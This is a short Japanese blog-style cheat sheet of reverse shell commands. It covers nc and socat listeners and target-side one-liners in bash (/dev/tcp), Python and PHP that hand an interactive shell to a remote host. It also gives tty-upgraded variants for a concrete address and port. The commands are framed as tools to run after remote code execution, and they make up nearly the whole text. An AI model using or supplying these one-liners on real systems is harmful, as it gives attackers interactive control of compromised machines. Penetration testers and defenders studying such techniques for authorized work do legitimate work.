最近になってReverse Shellをちょっとだけ使う機会があったのだけど、前に学習してたよりいろいろと便利なやり方とか方法がいろいろとあるのを知ったので、ちょっとまとめてみることにした。
1. 受付側のコマンド
実行側のシェルを受け付ける側。listen。
1-1. ncを使う場合
nc -nlvp <port>
1-2. socatを使う場合
socat tcp-listen:<port>,reuseaddr,fork stdout
2. 実行側のコマンド
RCEなどでOSコマンドを実行させる方のコマンド。server。
2-1. bashを使う場合
bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9
2-2. Pythonを使う場合
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<addr>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2-3. phpを使う場合
php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'
3. ttyを利用する場合
Reverse Shellでttyを利用する場合、以下のような組み合わせにすることで利用できるようだ。 特にlisten側でsocatを使うことで、Ctrl+C(Sigint)なども通常のターミナルと同じ感覚で扱えるようになる(一応ncでも動作はするが、Ctrl+Cなどはserver側に送れずncが終了する)。
3-1. listen側
stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555
3-2. server側
python -c 'import pty; pty.spawn("/bin/bash")' 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # pythonを利用する場合
script -c 'bash -i' /dev/null 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # scriptコマンドを利用する場合
scriptでなくても、ttyが払い出されるコマンド(expectなど)であればそれでも代用できそうだ。